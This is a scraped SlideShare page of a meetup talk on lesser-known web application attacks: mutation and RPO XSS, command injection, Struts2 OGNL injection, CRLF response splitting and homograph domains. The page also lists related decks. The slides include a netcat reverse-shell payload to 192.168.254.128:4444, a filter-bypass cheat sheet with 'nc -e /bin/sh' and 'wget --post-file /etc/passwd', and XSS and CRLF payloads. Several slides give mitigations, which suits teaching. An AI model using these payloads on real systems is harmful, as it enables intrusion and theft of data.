SlideShare une entreprise Scribd logo
1  sur  29
Lesser
Known
Attacks
Webapp
By Ninad Sarang
LesserKnownWebAppAttacks
About me 
 Consultant atAujas Networks
 Part time bug hunter
 Individual Security researcher
 Blogger
http://infinite8security.blogspot.in
LesserKnownWebAppAttacks
Menu Card
Cross site scripting –
 Mutation XSS
 RPO XSS
 Zombie XSS
Remote Command Execution
CR-LF Attack
Homograph Attack
It’s all about PoPuP
LesserKnownWebAppAttacks
Cross site Scripting-
Mutation XSS
LesserKnownWebAppAttacks
 HTML encoded payload
<listing>&lt;img src=1 onerror=alert(1)&gt;</listing>
 we will put this piece of code into another code using innerHTML
property.
<listing id=x>&lt;img src=1 onerror=alert(1)&gt;</listing>
<script>alert(document.getElementById('x').innerHTML)</script>
 When this code will execute, browser will read innerHTML and call
document.getElementById(‘x’)
 Resulting in multiple level of decoding and mutate from safe to
unsafe state.
LesserKnownWebAppAttacks
LesserKnownWebAppAttacks
LesserKnownWebAppAttacks
Mitigation:
Server-side mitigation
• Avoiding outputting server content otherwise
incorrectly converted by the browser.
• The flawed content should be replaced with
semantically equivalent content which is converted
properly by the browser.
Client-side mitigation
• Browsers should implement ECMA Script 5 and higher.
• TrueHTML: TrueHTML relies on the XMLSerializer DOM
object provided by all of the user agents.
• https://cure53.de/fp170.pdf
LesserKnownWebAppAttacks
Cross site Scripting-
RPO XSS
Relative path Overwrite xss
• Difference between Absolute and Relative url
• Absolute URL: https://thehacker.co.in/test
• Relative URL: test/some_subdirectory
To exploit this findings three things are necessary,
1) stored XSS that allows CSS injection.
2) URL Rewriting.
3) Relative addressing to CSS style sheet.
LesserKnownWebAppAttacks
D
E
M
O
• Step 1: Lets visit
www.webdevelopersnotes.com/graphics/index.php3
• To check URL re-writing add ‘/’
• Open re-writed url with xss payloadin IE
and see the Magic ;)
• http://challenge.hackvertor.co.uk/
xss_horror_show/chapter7/rpo.php/
Mitigation:
• It is recommended that absolute URLs should be used
throughout a site.
• Otherwise relative root url should be used.
LesserKnownWebAppAttacks
Cross site Scripting-
Zombie XSS
LesserKnownWebAppAttacks
Cross site Scripting- Zombie XSS
LesserKnownWebAppAttacks
www.nsa.gov && nc -vn 192.168.254.128 4444 -e /bin/bash
Remote/OS Command Execution
LesserKnownWebAppAttacks
LesserKnownWebAppAttacks
Now what if ( ; ) is blocked by the application?
 X ;Y = Seperating Commands (Run X and
then Y, regardless of success of X)
 X |Y = PIPE (Run X and pass output of X toY)
 X ^Y = PIPEZ
 X &&Y =AND (RunYif X succeeded )
 FAIL||Y = OR (RunYif X failed)
 X %0D Y%0D Z = OR
 ` X ` = Backtick
 ` X &Y` = Background (RunYand then run X in
background, regardless of success of X)
 $( command )
 nc -e /bin/sh = Netcat
 wget --post-file /etc/passwd = WGET
LesserKnownWebAppAttacks
RCE never dies!!!
• "action:", "redirect:" or "redirectAction:" is not
properly sanitized.
• information will be evaluated as OGNL (Object-Graph
Navigation Language) expression against the value stack,
this introduces the possibility to inject server side code.
Apache struts2 RCE
http://host/struts2-
blank/example/X.action?action:${3*4}
LesserKnownWebAppAttacks
D
E
M
O
LesserKnownWebAppAttacks
Divide and Conquer cR-LFAttack
• CR stands for Carriage Return (CR,ASCII 13, r)
• LF stands for Line feed (LF, ASCII 10, n)
How this Attack work?
The server script embeds user data in HTTP response headers.
Example: Step1: There is redirection page “redir_lang.jsp”
When we hit index page server responds with following response
<%
response.sendRedirect("/by_lang.jsp?lang="+
request.getParameter("lang"));
%>
LesserKnownWebAppAttacks
Divide and Conquer cR-LFAttack
LesserKnownWebAppAttacks
Lets Attack ;)
Step 3: Instead of passing value as English. Lets pass our attack
vector as shown.
/redir_lang.jsp?lang=foobar%0d%0aContentLength
:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aCont
entType:%20text/html%0d%0aContentLength:%2019%
0d%0a%0d%0a<html>Shazam</html>
Note: We have URLencoded the CRLF sequences
Lets see what server responds with 
LesserKnownWebAppAttacks
A first HTTP
response, which
is a 302
(redirection)
response.
A second HTTP
response, which is a
200 response, with a
content comprising
of 19 bytes of HTML.
Superfluous data
So when the attacker feeds the target with two requests, the first
being to the URL
/redir_lang.jsp?lang=foobar%0d%0aContentLength:%200%0d%0a%0d%
0aHTTP/1.1%20200%20OK%0d%0aContentType:%20text/html%0d%0aCont
entLength:%2019%0d%0a%0d%0a<html>Shazam</html>
And the second to the URL > /index.html
The target would believe that the first request is matched to the
first response:
And the second request (to /index.html) is matched to the second
response:
LesserKnownWebAppAttacks
What Attacker can do by
CRLF attack?
 Cross site scripting >>
http://blog.innerht.ml/twitter-crlf-injection
 Web Cache Poisoning (defacement)
 Cross User attacks (single user, single page, temporary
defacement)
 Hijacking pages with user-specific information
 Browser cache poisoning
LesserKnownWebAppAttacks
LesserKnownWebAppAttacks
Homograph Attack
Can you tell the difference?
1) https://ebаy.com/
2) https://ebay.com/
LesserKnownWebAppAttacks
https://ebаy.com/
https://ebay.com/
LesserKnownWebAppAttacks
What is this all about?
http://ebаy.com/
Decoding to punycode
http://xn--eby-7cd.com/
Cyrillic alphabets
LesserKnownWebAppAttacks
What Attacker can do by
Homograph attack?
 Phishing
 Un-validated Redirection
 Fake websites
 Attacker may combine this with SSLattacks
http://www.blackhat.com/presentations/bh-dc-
09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf
Mitigation
LesserKnownWebAppAttacks
Before After
Thank You
Reach me @
LinkedIn: Ninad Sarang
Twitter: @hbkninad

Contenu connexe

Tendances

Ultra fast web development with sinatra
Ultra fast web development with sinatraUltra fast web development with sinatra
Ultra fast web development with sinatraSérgio Santos
 
Testing MeteorJS using CasperJS
Testing MeteorJS using CasperJSTesting MeteorJS using CasperJS
Testing MeteorJS using CasperJSStephan Hochhaus
 
CasperJS and PhantomJS for Automated Testing
CasperJS and PhantomJS for Automated TestingCasperJS and PhantomJS for Automated Testing
CasperJS and PhantomJS for Automated TestingX-Team
 
ZendCon 2017 - Build a Bot Workshop - Async Primer
ZendCon 2017 - Build a Bot Workshop - Async PrimerZendCon 2017 - Build a Bot Workshop - Async Primer
ZendCon 2017 - Build a Bot Workshop - Async PrimerAdam Englander
 
Using Sinatra to Build REST APIs in Ruby
Using Sinatra to Build REST APIs in RubyUsing Sinatra to Build REST APIs in Ruby
Using Sinatra to Build REST APIs in RubyLaunchAny
 
Html5, css3, canvas, svg and webgl
Html5, css3, canvas, svg and webglHtml5, css3, canvas, svg and webgl
Html5, css3, canvas, svg and webglKilian Valkhof
 
Advanced Jasmine
Advanced JasmineAdvanced Jasmine
Advanced Jasminejbellsey
 
Rails Presentation (Anton Dmitriyev)
Rails Presentation (Anton Dmitriyev)Rails Presentation (Anton Dmitriyev)
Rails Presentation (Anton Dmitriyev)True-Vision
 
Lightweight Webservices with Sinatra and RestClient
Lightweight Webservices with Sinatra and RestClientLightweight Webservices with Sinatra and RestClient
Lightweight Webservices with Sinatra and RestClientAdam Wiggins
 

Tendances (12)

Ultra fast web development with sinatra
Ultra fast web development with sinatraUltra fast web development with sinatra
Ultra fast web development with sinatra
 
Testing MeteorJS using CasperJS
Testing MeteorJS using CasperJSTesting MeteorJS using CasperJS
Testing MeteorJS using CasperJS
 
CasperJS and PhantomJS for Automated Testing
CasperJS and PhantomJS for Automated TestingCasperJS and PhantomJS for Automated Testing
CasperJS and PhantomJS for Automated Testing
 
ZendCon 2017 - Build a Bot Workshop - Async Primer
ZendCon 2017 - Build a Bot Workshop - Async PrimerZendCon 2017 - Build a Bot Workshop - Async Primer
ZendCon 2017 - Build a Bot Workshop - Async Primer
 
Sprockets
SprocketsSprockets
Sprockets
 
Using Sinatra to Build REST APIs in Ruby
Using Sinatra to Build REST APIs in RubyUsing Sinatra to Build REST APIs in Ruby
Using Sinatra to Build REST APIs in Ruby
 
Html5, css3, canvas, svg and webgl
Html5, css3, canvas, svg and webglHtml5, css3, canvas, svg and webgl
Html5, css3, canvas, svg and webgl
 
Advanced Jasmine
Advanced JasmineAdvanced Jasmine
Advanced Jasmine
 
Rails Presentation (Anton Dmitriyev)
Rails Presentation (Anton Dmitriyev)Rails Presentation (Anton Dmitriyev)
Rails Presentation (Anton Dmitriyev)
 
CasperJS
CasperJSCasperJS
CasperJS
 
Lightweight Webservices with Sinatra and RestClient
Lightweight Webservices with Sinatra and RestClientLightweight Webservices with Sinatra and RestClient
Lightweight Webservices with Sinatra and RestClient
 
Selenium sandwich-2
Selenium sandwich-2Selenium sandwich-2
Selenium sandwich-2
 

En vedette

14 Jan17- Nullmeets -Blockchain concept decoded by Ninad Sarang
14 Jan17- Nullmeets -Blockchain concept decoded by Ninad Sarang14 Jan17- Nullmeets -Blockchain concept decoded by Ninad Sarang
14 Jan17- Nullmeets -Blockchain concept decoded by Ninad SarangNinad Sarang
 
NullCon 2012 - Ra.2: blackbox DOM-based XSS scanner
NullCon 2012 - Ra.2: blackbox DOM-based XSS scannerNullCon 2012 - Ra.2: blackbox DOM-based XSS scanner
NullCon 2012 - Ra.2: blackbox DOM-based XSS scannerNishant Das Patnaik
 
Adversarial machine learning
Adversarial machine learningAdversarial machine learning
Adversarial machine learningKaushal Parikh
 
Block chain health record
Block chain health recordBlock chain health record
Block chain health recordCharles Moore
 
Bitcoin and our Decentralized Future
Bitcoin and our Decentralized FutureBitcoin and our Decentralized Future
Bitcoin and our Decentralized FutureJames L. Walpole
 
Null Mumbai 14th May Lesser Known Webapp attacks by Ninad Sarang
Null Mumbai 14th May Lesser Known Webapp attacks by Ninad SarangNull Mumbai 14th May Lesser Known Webapp attacks by Ninad Sarang
Null Mumbai 14th May Lesser Known Webapp attacks by Ninad Sarangnullowaspmumbai
 
Distributed ledger technology: beyond block chain
Distributed ledger technology: beyond block chainDistributed ledger technology: beyond block chain
Distributed ledger technology: beyond block chainbis_foresight
 
Introduction to bitcoin
Introduction to bitcoinIntroduction to bitcoin
Introduction to bitcoinWolf McNally
 

En vedette (11)

14 Jan17- Nullmeets -Blockchain concept decoded by Ninad Sarang
14 Jan17- Nullmeets -Blockchain concept decoded by Ninad Sarang14 Jan17- Nullmeets -Blockchain concept decoded by Ninad Sarang
14 Jan17- Nullmeets -Blockchain concept decoded by Ninad Sarang
 
NullCon 2012 - Ra.2: blackbox DOM-based XSS scanner
NullCon 2012 - Ra.2: blackbox DOM-based XSS scannerNullCon 2012 - Ra.2: blackbox DOM-based XSS scanner
NullCon 2012 - Ra.2: blackbox DOM-based XSS scanner
 
Adversarial machine learning
Adversarial machine learningAdversarial machine learning
Adversarial machine learning
 
Blockchains 101
Blockchains 101Blockchains 101
Blockchains 101
 
Block chain health record
Block chain health recordBlock chain health record
Block chain health record
 
Bitcoin and our Decentralized Future
Bitcoin and our Decentralized FutureBitcoin and our Decentralized Future
Bitcoin and our Decentralized Future
 
Null Mumbai 14th May Lesser Known Webapp attacks by Ninad Sarang
Null Mumbai 14th May Lesser Known Webapp attacks by Ninad SarangNull Mumbai 14th May Lesser Known Webapp attacks by Ninad Sarang
Null Mumbai 14th May Lesser Known Webapp attacks by Ninad Sarang
 
Smart contracts
Smart contractsSmart contracts
Smart contracts
 
Distributed ledger technology: beyond block chain
Distributed ledger technology: beyond block chainDistributed ledger technology: beyond block chain
Distributed ledger technology: beyond block chain
 
Block Chain Basics
Block Chain BasicsBlock Chain Basics
Block Chain Basics
 
Introduction to bitcoin
Introduction to bitcoinIntroduction to bitcoin
Introduction to bitcoin
 

Similaire à Null 14 may_lesser_known_attacks_by_ninadsarang

Application Security for RIAs
Application Security for RIAsApplication Security for RIAs
Application Security for RIAsjohnwilander
 
Securing Java EE Web Apps
Securing Java EE Web AppsSecuring Java EE Web Apps
Securing Java EE Web AppsFrank Kim
 
XSS Primer - Noob to Pro in 1 hour
XSS Primer - Noob to Pro in 1 hourXSS Primer - Noob to Pro in 1 hour
XSS Primer - Noob to Pro in 1 hoursnoopythesecuritydog
 
04. xss and encoding
04.  xss and encoding04.  xss and encoding
04. xss and encodingEoin Keary
 
Hacking Client Side Insecurities
Hacking Client Side InsecuritiesHacking Client Side Insecurities
Hacking Client Side Insecuritiesamiable_indian
 
Xss mitigation php [Repaired]
Xss mitigation php [Repaired]Xss mitigation php [Repaired]
Xss mitigation php [Repaired]Tinashe Makuti
 
DVWA BruCON Workshop
DVWA BruCON WorkshopDVWA BruCON Workshop
DVWA BruCON Workshoptestuser1223
 
Top 10 Security Vulnerabilities (2006)
Top 10 Security Vulnerabilities (2006)Top 10 Security Vulnerabilities (2006)
Top 10 Security Vulnerabilities (2006)Susam Pal
 
Application Security for Rich Internet Applicationss (Jfokus 2012)
Application Security for Rich Internet Applicationss (Jfokus 2012)Application Security for Rich Internet Applicationss (Jfokus 2012)
Application Security for Rich Internet Applicationss (Jfokus 2012)johnwilander
 
Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008abhijitapatil
 
Mitigating CSRF with two lines of codes
Mitigating CSRF with two lines of codesMitigating CSRF with two lines of codes
Mitigating CSRF with two lines of codesMinhaz A V
 
주로사용되는 Xss필터와 이를 공격하는 방법
주로사용되는 Xss필터와 이를 공격하는 방법주로사용되는 Xss필터와 이를 공격하는 방법
주로사용되는 Xss필터와 이를 공격하는 방법guestad13b55
 
W3 conf hill-html5-security-realities
W3 conf hill-html5-security-realitiesW3 conf hill-html5-security-realities
W3 conf hill-html5-security-realitiesBrad Hill
 
Top 10 Web Security Vulnerabilities
Top 10 Web Security VulnerabilitiesTop 10 Web Security Vulnerabilities
Top 10 Web Security VulnerabilitiesCarol McDonald
 
"Подход к написанию безопасного клиентского кода на примере React", Иван Елки...
"Подход к написанию безопасного клиентского кода на примере React", Иван Елки..."Подход к написанию безопасного клиентского кода на примере React", Иван Елки...
"Подход к написанию безопасного клиентского кода на примере React", Иван Елки...MoscowJS
 
Web Application Security
Web Application SecurityWeb Application Security
Web Application SecurityChris x-MS
 
Waf.js: How to Protect Web Applications using JavaScript
Waf.js: How to Protect Web Applications using JavaScriptWaf.js: How to Protect Web Applications using JavaScript
Waf.js: How to Protect Web Applications using JavaScriptDenis Kolegov
 
CROSS-SITE REQUEST FORGERY - IN-DEPTH ANALYSIS 2011
CROSS-SITE REQUEST FORGERY - IN-DEPTH ANALYSIS 2011CROSS-SITE REQUEST FORGERY - IN-DEPTH ANALYSIS 2011
CROSS-SITE REQUEST FORGERY - IN-DEPTH ANALYSIS 2011Samvel Gevorgyan
 

Similaire à Null 14 may_lesser_known_attacks_by_ninadsarang (20)

Application Security for RIAs
Application Security for RIAsApplication Security for RIAs
Application Security for RIAs
 
Securing Java EE Web Apps
Securing Java EE Web AppsSecuring Java EE Web Apps
Securing Java EE Web Apps
 
XSS Primer - Noob to Pro in 1 hour
XSS Primer - Noob to Pro in 1 hourXSS Primer - Noob to Pro in 1 hour
XSS Primer - Noob to Pro in 1 hour
 
04. xss and encoding
04.  xss and encoding04.  xss and encoding
04. xss and encoding
 
Hacking Client Side Insecurities
Hacking Client Side InsecuritiesHacking Client Side Insecurities
Hacking Client Side Insecurities
 
Xss mitigation php [Repaired]
Xss mitigation php [Repaired]Xss mitigation php [Repaired]
Xss mitigation php [Repaired]
 
DVWA BruCON Workshop
DVWA BruCON WorkshopDVWA BruCON Workshop
DVWA BruCON Workshop
 
Top 10 Security Vulnerabilities (2006)
Top 10 Security Vulnerabilities (2006)Top 10 Security Vulnerabilities (2006)
Top 10 Security Vulnerabilities (2006)
 
PHPUG Presentation
PHPUG PresentationPHPUG Presentation
PHPUG Presentation
 
Application Security for Rich Internet Applicationss (Jfokus 2012)
Application Security for Rich Internet Applicationss (Jfokus 2012)Application Security for Rich Internet Applicationss (Jfokus 2012)
Application Security for Rich Internet Applicationss (Jfokus 2012)
 
Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008
 
Mitigating CSRF with two lines of codes
Mitigating CSRF with two lines of codesMitigating CSRF with two lines of codes
Mitigating CSRF with two lines of codes
 
Complete xss walkthrough
Complete xss walkthroughComplete xss walkthrough
Complete xss walkthrough
 
주로사용되는 Xss필터와 이를 공격하는 방법
주로사용되는 Xss필터와 이를 공격하는 방법주로사용되는 Xss필터와 이를 공격하는 방법
주로사용되는 Xss필터와 이를 공격하는 방법
 
W3 conf hill-html5-security-realities
W3 conf hill-html5-security-realitiesW3 conf hill-html5-security-realities
W3 conf hill-html5-security-realities
 
Top 10 Web Security Vulnerabilities
Top 10 Web Security VulnerabilitiesTop 10 Web Security Vulnerabilities
Top 10 Web Security Vulnerabilities
 
"Подход к написанию безопасного клиентского кода на примере React", Иван Елки...
"Подход к написанию безопасного клиентского кода на примере React", Иван Елки..."Подход к написанию безопасного клиентского кода на примере React", Иван Елки...
"Подход к написанию безопасного клиентского кода на примере React", Иван Елки...
 
Web Application Security
Web Application SecurityWeb Application Security
Web Application Security
 
Waf.js: How to Protect Web Applications using JavaScript
Waf.js: How to Protect Web Applications using JavaScriptWaf.js: How to Protect Web Applications using JavaScript
Waf.js: How to Protect Web Applications using JavaScript
 
CROSS-SITE REQUEST FORGERY - IN-DEPTH ANALYSIS 2011
CROSS-SITE REQUEST FORGERY - IN-DEPTH ANALYSIS 2011CROSS-SITE REQUEST FORGERY - IN-DEPTH ANALYSIS 2011
CROSS-SITE REQUEST FORGERY - IN-DEPTH ANALYSIS 2011
 

Dernier

EMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWER
EMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWEREMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWER
EMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWERMadyBayot
 
Modular Monolith - a Practical Alternative to Microservices @ Devoxx UK 2024
Modular Monolith - a Practical Alternative to Microservices @ Devoxx UK 2024Modular Monolith - a Practical Alternative to Microservices @ Devoxx UK 2024
Modular Monolith - a Practical Alternative to Microservices @ Devoxx UK 2024Victor Rentea
 
Apidays New York 2024 - Passkeys: Developing APIs to enable passwordless auth...
Apidays New York 2024 - Passkeys: Developing APIs to enable passwordless auth...Apidays New York 2024 - Passkeys: Developing APIs to enable passwordless auth...
Apidays New York 2024 - Passkeys: Developing APIs to enable passwordless auth...apidays
 
Navigating the Deluge_ Dubai Floods and the Resilience of Dubai International...
Navigating the Deluge_ Dubai Floods and the Resilience of Dubai International...Navigating the Deluge_ Dubai Floods and the Resilience of Dubai International...
Navigating the Deluge_ Dubai Floods and the Resilience of Dubai International...Orbitshub
 
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...apidays
 
Cyberprint. Dark Pink Apt Group [EN].pdf
Cyberprint. Dark Pink Apt Group [EN].pdfCyberprint. Dark Pink Apt Group [EN].pdf
Cyberprint. Dark Pink Apt Group [EN].pdfOverkill Security
 
DBX First Quarter 2024 Investor Presentation
DBX First Quarter 2024 Investor PresentationDBX First Quarter 2024 Investor Presentation
DBX First Quarter 2024 Investor PresentationDropbox
 
Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024The Digital Insurer
 
[BuildWithAI] Introduction to Gemini.pdf
[BuildWithAI] Introduction to Gemini.pdf[BuildWithAI] Introduction to Gemini.pdf
[BuildWithAI] Introduction to Gemini.pdfSandro Moreira
 
2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...Martijn de Jong
 
Apidays New York 2024 - Accelerating FinTech Innovation by Vasa Krishnan, Fin...
Apidays New York 2024 - Accelerating FinTech Innovation by Vasa Krishnan, Fin...Apidays New York 2024 - Accelerating FinTech Innovation by Vasa Krishnan, Fin...
Apidays New York 2024 - Accelerating FinTech Innovation by Vasa Krishnan, Fin...apidays
 
TrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data DiscoveryTrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data DiscoveryTrustArc
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerThousandEyes
 
Emergent Methods: Multi-lingual narrative tracking in the news - real-time ex...
Emergent Methods: Multi-lingual narrative tracking in the news - real-time ex...Emergent Methods: Multi-lingual narrative tracking in the news - real-time ex...
Emergent Methods: Multi-lingual narrative tracking in the news - real-time ex...Zilliz
 
MS Copilot expands with MS Graph connectors
MS Copilot expands with MS Graph connectorsMS Copilot expands with MS Graph connectors
MS Copilot expands with MS Graph connectorsNanddeep Nachan
 
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers:  A Deep Dive into Serverless Spatial Data and FMECloud Frontiers:  A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FMESafe Software
 
Polkadot JAM Slides - Token2049 - By Dr. Gavin Wood
Polkadot JAM Slides - Token2049 - By Dr. Gavin WoodPolkadot JAM Slides - Token2049 - By Dr. Gavin Wood
Polkadot JAM Slides - Token2049 - By Dr. Gavin WoodJuan lago vázquez
 
Artificial Intelligence Chap.5 : Uncertainty
Artificial Intelligence Chap.5 : UncertaintyArtificial Intelligence Chap.5 : Uncertainty
Artificial Intelligence Chap.5 : UncertaintyKhushali Kathiriya
 
Exploring Multimodal Embeddings with Milvus
Exploring Multimodal Embeddings with MilvusExploring Multimodal Embeddings with Milvus
Exploring Multimodal Embeddings with MilvusZilliz
 
"I see eyes in my soup": How Delivery Hero implemented the safety system for ...
"I see eyes in my soup": How Delivery Hero implemented the safety system for ..."I see eyes in my soup": How Delivery Hero implemented the safety system for ...
"I see eyes in my soup": How Delivery Hero implemented the safety system for ...Zilliz
 

Dernier (20)

EMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWER
EMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWEREMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWER
EMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWER
 
Modular Monolith - a Practical Alternative to Microservices @ Devoxx UK 2024
Modular Monolith - a Practical Alternative to Microservices @ Devoxx UK 2024Modular Monolith - a Practical Alternative to Microservices @ Devoxx UK 2024
Modular Monolith - a Practical Alternative to Microservices @ Devoxx UK 2024
 
Apidays New York 2024 - Passkeys: Developing APIs to enable passwordless auth...
Apidays New York 2024 - Passkeys: Developing APIs to enable passwordless auth...Apidays New York 2024 - Passkeys: Developing APIs to enable passwordless auth...
Apidays New York 2024 - Passkeys: Developing APIs to enable passwordless auth...
 
Navigating the Deluge_ Dubai Floods and the Resilience of Dubai International...
Navigating the Deluge_ Dubai Floods and the Resilience of Dubai International...Navigating the Deluge_ Dubai Floods and the Resilience of Dubai International...
Navigating the Deluge_ Dubai Floods and the Resilience of Dubai International...
 
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
 
Cyberprint. Dark Pink Apt Group [EN].pdf
Cyberprint. Dark Pink Apt Group [EN].pdfCyberprint. Dark Pink Apt Group [EN].pdf
Cyberprint. Dark Pink Apt Group [EN].pdf
 
DBX First Quarter 2024 Investor Presentation
DBX First Quarter 2024 Investor PresentationDBX First Quarter 2024 Investor Presentation
DBX First Quarter 2024 Investor Presentation
 
Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024
 
[BuildWithAI] Introduction to Gemini.pdf
[BuildWithAI] Introduction to Gemini.pdf[BuildWithAI] Introduction to Gemini.pdf
[BuildWithAI] Introduction to Gemini.pdf
 
2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...
 
Apidays New York 2024 - Accelerating FinTech Innovation by Vasa Krishnan, Fin...
Apidays New York 2024 - Accelerating FinTech Innovation by Vasa Krishnan, Fin...Apidays New York 2024 - Accelerating FinTech Innovation by Vasa Krishnan, Fin...
Apidays New York 2024 - Accelerating FinTech Innovation by Vasa Krishnan, Fin...
 
TrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data DiscoveryTrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected Worker
 
Emergent Methods: Multi-lingual narrative tracking in the news - real-time ex...
Emergent Methods: Multi-lingual narrative tracking in the news - real-time ex...Emergent Methods: Multi-lingual narrative tracking in the news - real-time ex...
Emergent Methods: Multi-lingual narrative tracking in the news - real-time ex...
 
MS Copilot expands with MS Graph connectors
MS Copilot expands with MS Graph connectorsMS Copilot expands with MS Graph connectors
MS Copilot expands with MS Graph connectors
 
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers:  A Deep Dive into Serverless Spatial Data and FMECloud Frontiers:  A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
 
Polkadot JAM Slides - Token2049 - By Dr. Gavin Wood
Polkadot JAM Slides - Token2049 - By Dr. Gavin WoodPolkadot JAM Slides - Token2049 - By Dr. Gavin Wood
Polkadot JAM Slides - Token2049 - By Dr. Gavin Wood
 
Artificial Intelligence Chap.5 : Uncertainty
Artificial Intelligence Chap.5 : UncertaintyArtificial Intelligence Chap.5 : Uncertainty
Artificial Intelligence Chap.5 : Uncertainty
 
Exploring Multimodal Embeddings with Milvus
Exploring Multimodal Embeddings with MilvusExploring Multimodal Embeddings with Milvus
Exploring Multimodal Embeddings with Milvus
 
"I see eyes in my soup": How Delivery Hero implemented the safety system for ...
"I see eyes in my soup": How Delivery Hero implemented the safety system for ..."I see eyes in my soup": How Delivery Hero implemented the safety system for ...
"I see eyes in my soup": How Delivery Hero implemented the safety system for ...
 

Null 14 may_lesser_known_attacks_by_ninadsarang

  • 2. LesserKnownWebAppAttacks About me   Consultant atAujas Networks  Part time bug hunter  Individual Security researcher  Blogger http://infinite8security.blogspot.in
  • 3. LesserKnownWebAppAttacks Menu Card Cross site scripting –  Mutation XSS  RPO XSS  Zombie XSS Remote Command Execution CR-LF Attack Homograph Attack
  • 4. It’s all about PoPuP LesserKnownWebAppAttacks Cross site Scripting- Mutation XSS
  • 5. LesserKnownWebAppAttacks  HTML encoded payload <listing>&lt;img src=1 onerror=alert(1)&gt;</listing>  we will put this piece of code into another code using innerHTML property. <listing id=x>&lt;img src=1 onerror=alert(1)&gt;</listing> <script>alert(document.getElementById('x').innerHTML)</script>  When this code will execute, browser will read innerHTML and call document.getElementById(‘x’)  Resulting in multiple level of decoding and mutate from safe to unsafe state.
  • 8. LesserKnownWebAppAttacks Mitigation: Server-side mitigation • Avoiding outputting server content otherwise incorrectly converted by the browser. • The flawed content should be replaced with semantically equivalent content which is converted properly by the browser. Client-side mitigation • Browsers should implement ECMA Script 5 and higher. • TrueHTML: TrueHTML relies on the XMLSerializer DOM object provided by all of the user agents. • https://cure53.de/fp170.pdf
  • 9. LesserKnownWebAppAttacks Cross site Scripting- RPO XSS Relative path Overwrite xss • Difference between Absolute and Relative url • Absolute URL: https://thehacker.co.in/test • Relative URL: test/some_subdirectory To exploit this findings three things are necessary, 1) stored XSS that allows CSS injection. 2) URL Rewriting. 3) Relative addressing to CSS style sheet.
  • 10. LesserKnownWebAppAttacks D E M O • Step 1: Lets visit www.webdevelopersnotes.com/graphics/index.php3 • To check URL re-writing add ‘/’ • Open re-writed url with xss payloadin IE and see the Magic ;) • http://challenge.hackvertor.co.uk/ xss_horror_show/chapter7/rpo.php/ Mitigation: • It is recommended that absolute URLs should be used throughout a site. • Otherwise relative root url should be used.
  • 14. www.nsa.gov && nc -vn 192.168.254.128 4444 -e /bin/bash Remote/OS Command Execution LesserKnownWebAppAttacks
  • 15. LesserKnownWebAppAttacks Now what if ( ; ) is blocked by the application?  X ;Y = Seperating Commands (Run X and then Y, regardless of success of X)  X |Y = PIPE (Run X and pass output of X toY)  X ^Y = PIPEZ  X &&Y =AND (RunYif X succeeded )  FAIL||Y = OR (RunYif X failed)  X %0D Y%0D Z = OR  ` X ` = Backtick  ` X &Y` = Background (RunYand then run X in background, regardless of success of X)  $( command )  nc -e /bin/sh = Netcat  wget --post-file /etc/passwd = WGET
